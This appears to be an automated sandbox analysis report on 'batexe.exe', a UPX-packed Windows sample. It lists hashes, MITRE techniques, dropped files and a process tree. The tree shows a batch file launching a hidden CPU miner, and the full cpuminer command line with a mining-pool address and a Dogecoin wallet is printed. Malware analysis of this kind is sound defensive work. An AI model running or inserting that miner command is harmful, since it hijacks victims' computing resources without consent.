73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12-02-2024 17:09

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1064	b2e.exe
1224	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1224	cpuminer-sse2.exe
1224	cpuminer-sse2.exe
1224	cpuminer-sse2.exe
1224	cpuminer-sse2.exe
1224	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2940-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 1064	2940	batexe.exe	84
PID 2940 wrote to memory of 1064	2940	batexe.exe	84
PID 2940 wrote to memory of 1064	2940	batexe.exe	84
PID 1064 wrote to memory of 1776	1064	b2e.exe	85
PID 1064 wrote to memory of 1776	1064	b2e.exe	85
PID 1064 wrote to memory of 1776	1064	b2e.exe	85
PID 1776 wrote to memory of 1224	1776	cmd.exe	88
PID 1776 wrote to memory of 1224	1776	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\67C2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe

Filesize
30.9MB

MD5
6d5ed4603634d8e1243057557d56aee7

SHA1
bce646975e0216601b97738b56df75561576a010

SHA256
cb8bac2c903e3b75023c13bec51989701a0252060d37f3a63f4c32d6e96e837e

SHA512
3bc481b1aa202399f401936fec35b2339d9155106616a4688d10aa934188c3be91688c9fbd846b037bb8c9efcb47ad2bdb7d68bece52ae9c879f24242ca08b01

Download Submit
C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe

Filesize
8.0MB

MD5
7279634f0e380860d67384613122a9b4

SHA1
5d0537b4005e31cc6f7a80cadd7ff60c58ba945c

SHA256
36f68e917f927c17c9e1aaf09c4f5daa592475d037272aeec658689c7a571678

SHA512
ab5ccebcc50e9af826b72764aed37a688c5a142badd8ce5ea388f9661ff373cd67ca4a7006f1217fb261fbe4c6454e369012caadc8ad2d0d6f7a874462800bac

Download Submit
C:\Users\Admin\AppData\Local\Temp\639C.tmp\b2e.exe

Filesize
7.1MB

MD5
a9608951ed4f682d12a83b462950540a

SHA1
6a1ecd569aaadf2a8543636668c41bfb3e8b1140

SHA256
5225305219c69828158bd6e9bc826190299db794ffb1798206ce347257f01010

SHA512
fb41baadf446c7640575e3bd41182c25e96a8a2c8b0ce43e1a1cda8f652dc48397838680dbfe5129e6db3e2cf12dfea4691c2363e351d8c03081fbe1b9eb8aeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\67C2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.8MB

MD5
f1e0e3226add0230543ca45766720410

SHA1
5f4c6dc9e01a1a4ab5c6bfcddc10996ebe3412dc

SHA256
a0e60a73b03908e5c7ae6c349318be2514310e13563648673844f53ad548d6c3

SHA512
aecc73c300611196d48f56b7a6c761fd9206e533993bb9c94f19265c7a85327ea6393eeb7f363971a97f4309243407aa3ee22eaa008944ae140f404f711af7a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
4b7714cbf95c7cee04ad5ece26dff1ce

SHA1
33eba6cf8b3d7f8c6303e0049cae03c94e878260

SHA256
8883b2a418564b90ceb7ba5b0204224d4a7954aa0b5469ed00da13e189b6fbac

SHA512
6ebd05cf60fc2d718bba8072cf512b11433a85126776e1bbc71445abb522b85e2a4660372660682c942dec11a75ab54c59f403a335f9dd17b090ead3814012fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
2f0355b7ce48897caa23358bdaf1f558

SHA1
7347a53210a5b1f80405e96cde0d80e6cfb704dd

SHA256
168eaf2e10c8332b0b8fb45a1d28ad039db18cc1292d84a4092023ff9d85da8d

SHA512
d974161ddc85f18c8c62c04d7fc334b8c7dc28b5628da95d45e03e9534789876946c0a6c06f253ee6e06350a44fd163bb9c4cdfbf82a1a82bf5dbd978467069e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1064-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1064-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1224-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1224-57-0x00000000598A0000-0x0000000059938000-memory.dmp

Filesize
608KB

Download
memory/1224-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1224-46-0x00000000598A0000-0x0000000059938000-memory.dmp

Filesize
608KB

Download
memory/1224-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1224-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1224-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2940-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download